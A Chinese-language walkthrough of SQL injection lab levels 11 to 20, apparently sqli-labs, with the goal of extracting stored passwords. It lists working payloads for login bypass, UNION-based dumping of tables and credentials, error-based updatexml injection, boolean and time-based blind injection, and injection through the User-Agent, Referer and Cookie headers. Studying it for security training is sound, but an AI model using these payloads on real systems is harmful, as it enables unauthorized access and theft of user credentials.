第十一关

从第十一关开始，就开始用post来提交数据了，我们每关的目的都是获取users表下password字段的内容。
post是一种数据提交方式，它主要是指数据从客户端提交到服务器端，例如，我们常常使用的用户登录模块、网站的留言板模块等，在这些功能模块中我们提交的数据都是以
我们可以用抓包软件来修改post提交的数据。
首先测试一下是字符型还是数字型，再输入的用户名和密码之间输入一个’查看是否报错

可以看到，有报错，说明是字符型注入，由于我们不知道密码，但是因为这里有sql注入我们可以用个万能密码，username输入admin’ or ‘1’=’1 –+ 之后不管我们输入什么密码都可以登录

可以看到有两个显示位，之后思路还是跟之前第一关一样，先查有几个字段

看到3报错那就输入2页面正常了。然后就是常规操作了。
爆数据库名：

uname=7admin' union select version(),database()#&passwd=123&submit=Submit

爆表名：

uname=7admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=123&submit=Submit

爆列名：

uname=7admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&passwd=123&submit=Submit

查所有用户名和密码：

uname=7admin' union select group_concat(username),group_concat(password) from users#&passwd=123&submit=Submit

第十二关

这关和十一关差不多就是闭合改成了”)
爆内容：

uname=7admin") union select group_concat(username),group_concat(password) from users#&passwd=123&submit=Submit

第十三关

这关只有输入为真回显字母为蓝色，假为红色，也会报错，所以可以用报错和盲注。这里是用’)来闭合

具体的步骤看前面第五关，这里就用报错注入。
爆密码：

&uname=admin') and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#&passwd=123&submit=Submit

第十四关

这关不会报错，可以用盲注。测试一下发现是”双引号闭合，然后又是常规套路。
爆密码:

&uname=admin" and substr((select password from users limit 0,1),1,3)='dum'#&passwd=admin&submit=Submit

第十五关

这一关直接用上一关的payload也可以（改单引号）,想多掌握一点可以用时间延迟来注入
爆表名：

&uname=admin' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)#&passwd=admin&submit=Submit

爆数据：

&uname=admin' and if(substr((select password from users limit 0,1),1,3)='dum',sleep(5),1)#&passwd=admin&submit=Submit

第十六关

这一关一样，只是把闭合改为”)

第十七关

这关对用户名的输入很严谨怎么变形都不行，但是对密码的输入控制的不严谨,这关查看源代码发现，不管输入什么密码都是对的，但是通过order by还是看得出又sql注入

既然怎么输入都是对的，那盲注就没用了，但是有报错这里就用报错注入，之前第五关有步骤，不再赘述。
爆数据库名：

爆表名：

到了查询数据的时候，发现不能直接查询会报错

因为在同一个语句中，不能先查询表中的值再update这个表，可以先把查询出的值作为一个派生表，然后在这个派生表里面再次进行查询。
爆数据：

uname=admin&passwd=7' and updatexml(1,concat('#',(select * from (select concat_ws (' ',id,username,password) from users limit 0,1) a)),1)##&submit=Submit

第十八关

这关对username和password的输入都做了严格的过滤，那怎么办呢，这关一进来就显示了我们的ip，就联想到了header头注入，修改http头的User-Agent参数，查看源码发现是insert函数写入数据库，
然后我们得知道mysql Insert语句的用法
Insert into member（username,pw,sex,phonenum,email,address）values(‘xxxxxxxx’,11111,1,2,3,4);
要构造闭合首先在我们可以输入的部分就是‘xxxx’里插入报错函数,
注意要成功登陆才能注入
报数据库：

' and updatexml(1,concat(0x7e,database()),0) and '1

' and updatexml(1,concat(0x7e,database()),1),"1","1")#

这里语句可以用and，也可以用or

' or updatexml(1,concat(0x7e,database()),0) or '1

爆列名：

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1)),0)and '1

爆内容：

' and updatexml(1,concat(0x7e,(select group_concat(password) from users )),0)and '1

第十九关

这关跟上关一样，就是换成了修改referer的值，一样的payload

第二十关

这关根据题目提示应该是在cookie上进行修改,看回显cookie的格式是uname=admin，所以构造payload

uname=admin' and updatexml(1,concat(0x7e,(select database())),0) #

这里有个坑，就是不能用POST方法提交数据，不然回显就很奇怪…

爆表名：

uname=admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) #

之后就是常规操作了。